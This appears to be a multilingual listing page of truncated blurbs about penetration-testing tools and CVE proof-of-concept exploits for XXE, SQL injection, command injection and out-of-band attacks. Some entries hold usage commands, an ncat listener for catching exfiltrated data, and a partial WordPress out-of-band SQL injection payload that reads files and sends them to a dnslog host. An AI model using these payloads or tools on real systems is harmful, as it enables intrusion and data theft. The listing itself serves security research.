w3af

sqlmap sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así co...

dnsobserver

DNSObserver Um serviço DNS prático escrito em Go para auxiliar na detecção de vários tipos de vulnerabilidades cegas. Ele monitora o servidor de um pentester para interações DNS fora da banda e envia notificações com os detalhes da requisição recebida via Slack. O DNSObserver pode ajudar você a...

CVE-2021-3262

CVE-2021-3262 Iniezione SQL in TripSpark VEO Transportation / NovusEDU La pagina di ricerca pubblica "Student Busing Information" distribuita con TripSpark VEO Transportation accetta input non autenticati nel corpo della richiesta POST e li concatena in una query SQL Server senza parametrizzazion...

Grassmarlin-CVE-2026-6807-XXE-POC

Este é um código de prova de conceito funcional baseado na divulgação da CISA sobre uma vulnerabilidade relatada no Grassmarlin, publicada em 28/04/2026. Analisando o código do Grassmarlin, determinei que os parâmetros provavelmente vulneráveis estavam relacionados aos arquivos XML ingeridos ao...

sqlmap

sqlmap sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti...

CVE-2025-25198-PoC

CVE-2025-25198-PoC Proof-of-concept per CVE-2025-25198, un problema di avvelenamento dell'header Host che interessa i flussi di reimpostazione della password di Mailcow. Lo script avvia un listener HTTPS locale sulla porta 443, ottiene automaticamente un token CSRF valido, invia la sequenza di...

CVE-2022-42889-POC

CVE-2022-42889-POC Una semplice applicazione demo che mostra come sfruttare la vulnerabilità CVE-2022-42889. Utilizza servizi OOB Out of Band per dimostrare i prefissi dns e url. JavaDocs per commons-text interpolation commons-text JavaDocs Esempi di interpolazioni script:javascript...

RMASmoke

RMASmoke Uno strumento per disabilitare la Write-Protect tramite una scrittura oob nel TPM2 COMPILAZIONE Vedi BUILDING.MD;...

RaspAP <=2.6.5 - Remote Command Injection

RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/getnetcfg.php, when the "iface" parameter value contains special characters such as ";". id: CVE-2021-33357 info: name: RaspAP =2.6.5 - Remote Command Injection...

AirFlow < 2.4.0 - Remote Code Execution

A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided runid parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0. id: CVE-2022-40127 info: name: AirFlow 2.4.0 -...

mole

Mole Un framework per identificare e sfruttare vulnerabilità out-of-band OOB. Installazione e Configurazione Installazione di Mole Python = 3.6 virtualenv -p /usr/bin/python3 venv source venv/bin/activate ./venv/bin/pip3 install -r requirements.txt git submodule update --init --recursive Imposta...

cve-2022-33891

cve-2022-33891 Uso: root@kitploit: pip3 install requests If you do not use the -d parameter, the dnslog domain name will be automatically applied for you. 如果你不使用-d参数，则会自动为您申请dnslog域名。 python3 cve202233891poc.py -u http://127.0.0.1 python3 cve202233891poc.py -f url.txt python3 cve202233891poc.py -...

sqlmap

sqlmap sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switche...

CVE-2025-32375

Configurazione per la versione vulnerabile. Avvia il container vulnerabile: root@kitploit: docker compose up Crea un listener es. ncat: root@kitploit: ncat -klnv 1337 Esegui l'exploit: root@kitploit: python3 exploit.py Dovresti ricevere una richiesta HTTP nella finestra di ncat con il contenuto d...

CVE-2025-7766

CVE-2025-7766 PoC शोषण CVE-2025-7766 में XML बाहरी इकाई XXE कमजोरी का शोषण करने के लिए PoC। फ़ाइल पढ़ने /etc/passwd और आउट-ऑफ-बैंड HTTP कॉलबैक का प्रदर्शन। लेखक : Byte Reaper CVE : CVE-2025-7766 कमजोरी : XML बाहरी इकाई XXE के माध्यम से दूरस्थ कोड निष्पादन CVE-2025-7766 में XXE का शोषण करने के लिए...

lorsrf

LORSRF - 2.1 Lorsrf ist ein leistungsstarkes Web-Penetrationstest-Tool, das darauf ausgelegt ist, Parameter zu identifizieren, die für SSRF- oder Out-of-Band-Resource-Load-Angriffe ausgenutzt werden können. Durch das Hinzufügen eines OAST-Hosts wie Burp Collaborator zum Parameterwert kann Lorsrf...

XOE

XOE Sfrutta facilmente la vulnerabilità XXE Out-Of-Band Dettagli Questo strumento crea un file xml che contiene l'IP e la porta inseriti e ascolta la connessione per rispondere :D Screenshot...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 versão5.8.3 caminho: http://your target/wp-admin/admin-ajax.php O tipo de injeção é out-of-band, você precisa especificar o dnslog você mesmo e substituir ceye.io POST- DADOS："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select...

POC-CVE-2025-54988

CVE-2025-54988 - POC Dichiarazione di non responsabilità: non sono lo scopritore originale di questa vulnerabilità. Questo post documenta il mio processo di riproduzione del problema in un ambiente controllato per scopi educativi e per aiutare altri a validare i propri sistemi. I test sono stati...

XXEinjector

XXEinjector XXEinjector는 직접 및 대역 외 방식을 사용하여 파일 검색을 자동화합니다. 디렉터리 목록은 Java 애플리케이션에서만 작동합니다. 다른 애플리케이션의 경우 무차별 대입 방식을 사용해야 합니다. 옵션: root@kitploit: --host 필수 - 역방향 연결을 위한 우리의 IP 주소. --host=192.168.0.2 --file 필수 - XML이 포함된 유효한 HTTP 요청이 들어 있는 파일. DTD가 삽입되어야 할 지점을 "XXEINJECT"로 표시할 수도 있습니다...